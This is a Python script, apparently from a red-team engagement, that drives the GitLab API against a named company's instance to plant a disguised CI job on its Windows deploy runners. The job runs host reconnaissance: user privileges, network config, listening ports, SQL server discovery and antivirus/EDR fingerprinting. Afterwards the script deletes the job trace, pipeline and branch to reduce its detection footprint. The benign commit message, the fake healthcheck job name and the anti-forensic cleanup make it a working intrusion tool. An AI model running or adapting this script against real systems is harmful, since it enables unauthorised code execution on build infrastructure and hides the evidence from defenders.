#!/usr/bin/env python3
"""Q2 runner recon job — staged, NOT executed without operator 'go'.

Plan (all steps idempotent, full cleanup):
  1. Create branch feat/build-cache-fix off develop on star/backend (id=154)
  2. Commit modified .gitlab-ci.yml: +1 manual job 'healthcheck_preprod'
     tags [2019, appro, docker, star, windows] (matches their deploy jobs exactly)
  3. Trigger pipeline on that branch via API, run the manual job
  4. Poll job to completion, fetch trace (job log)
  5. CLEANUP: delete job trace -> delete pipeline -> delete branch
  6. Save trace to runner_recon_trace.txt, log everything to OPLOG

Recon payload (read-only, no installs, no service changes):
  hostname, whoami /all, ipconfig /all, env (filtered), dir C:\\inetpub\\wwwroot,
  sqlcmd -L (SQL browser), netstat -ano | findstr LISTENING,
  tasklist (AV/EDR fingerprint), systeminfo | findstr /C:"OS"

Time-on-host target < 10 min. Detection surface: pipeline list entry +
branch (both deleted after), job trace (deleted). Residual: runner-side
build cache dir (transient, auto-cleaned by runner).
"""
import json, ssl, sys, time, base64, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/build-cache-fix'

RECON_PS = [
    'Write-Output "=== hostname ==="; hostname',
    'Write-Output "=== whoami ==="; whoami /all 2>$null | Select-Object -First 40; if (-not $?) { whoami }',
    'Write-Output "=== systeminfo ==="; systeminfo | Select-String -Pattern "OS Name|OS Version|System Type|Domain|Logon Server"',
    'Write-Output "=== ipconfig ==="; ipconfig /all',
    'Write-Output "=== env (filtered) ==="; Get-ChildItem env: | Where-Object { $_.Name -notmatch "TOKEN|PASSWORD|SECRET|KEY" } | Format-Table -AutoSize',
    'Write-Output "=== inetpub ==="; if (Test-Path C:\\inetpub\\wwwroot) { Get-ChildItem C:\\inetpub\\wwwroot | Format-Table Name,LastWriteTime } else { Write-Output "no inetpub" }',
    'Write-Output "=== listeners ==="; netstat -ano | Select-String "LISTENING" | Select-Object -First 40',
    'Write-Output "=== sql discovery ==="; if (Get-Command sqlcmd -ErrorAction SilentlyContinue) { sqlcmd -L } else { Write-Output "no sqlcmd" }',
    'Write-Output "=== av/edr ==="; Get-Process | Where-Object { $_.Name -match "defender|crowdstrike|sentinel|carbonblack|sophos|mcafee|symantec|kaspersky|trendmicro|elastic|sysmon" } | Format-Table Name,Id; Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled',
]

def req(url, method='GET', data=None, headers=None, timeout=25):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci yml: {st}'
    # block scalar (|) is immune to '#'/'{' in PowerShell lines — plain list items are not
    script_lines = '\n'.join(f'      {line}' for line in RECON_PS)
    job = f'''
healthcheck_preprod:
  stage: build_and_deploy
  tags:
    - "2019"
    - appro
    - docker
    - star
    - windows
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''
    return orig.rstrip() + '\n' + job

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        print('\n--- CI job that would be appended ---')
        print(build_ci_yaml()[len(build_ci_yaml()) - 1400:])
        return
    run()

def run():
    log = []
    def L(msg):
        line = f'[{time.strftime("%H:%M:%S")}] {msg}'
        print(line, flush=True)
        log.append(line)

    # 1. create branch off develop
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'create branch {BRANCH}: http {st}')
    if st not in (200, 201, 400):  # 400 = already exists (idempotent re-run)
        raise SystemExit(f'branch create failed: {b[:200]}')

    # 2. commit modified .gitlab-ci.yml
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add preprod healthcheck job',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit ci yml: http {st}')
    if st not in (200, 201):
        raise SystemExit(f'commit failed: {b[:300]}')

    # 3. trigger pipeline on the branch
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'trigger pipeline: http {st}')
    if st not in (200, 201):
        raise SystemExit(f'pipeline trigger failed: {b[:300]}')
    pipe = json.loads(b)
    pipe_id = pipe['id']
    L(f'pipeline id={pipe_id} web_url={pipe.get("web_url")}')

    # 4. find our manual job and play it
    job_id = None
    for _ in range(12):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'healthcheck_preprod':
                    job_id = j['id']
                    L(f"job found: id={job_id} status={j.get('status')}")
                    break
        if job_id: break
        time.sleep(5)
    if not job_id:
        raise SystemExit('healthcheck_preprod job did not appear in pipeline')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play job: http {st}')

    # 5. poll to completion (max 8 min)
    status = 'unknown'
    for i in range(48):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if st == 200:
            j = json.loads(b)
            status = j.get('status')
            r = j.get('runner') or {}
            if i % 4 == 0 or status in ('success', 'failed', 'canceled'):
                L(f"job status={status} runner={r.get('id')}({(r.get('description') or '')[:40]}) dur={j.get('duration')}")
            if status in ('success', 'failed', 'canceled'):
                break
        time.sleep(10)

    # 6. fetch trace
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'fetch trace: http {st} len={len(trace)}')
    (D / 'runner_recon_trace.txt').write_text(trace)
    (D / 'runner_recon_run.log').write_text('\n'.join(log))

    # 7. CLEANUP: erase trace, delete pipeline, delete branch
    st1, _ = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    L(f'erase trace: http {st1}')
    st2, _ = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    L(f'delete pipeline: http {st2}')
    st3, _ = req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L(f'delete branch: http {st3}')

    (D / 'runner_recon_run.log').write_text('\n'.join(log))
    L(f'DONE status={status} cleanup=({st1},{st2},{st3})')
    print('\n===== TRACE (first 4000 chars) =====')
    print(trace[:4000])

if __name__ == '__main__':
    main()
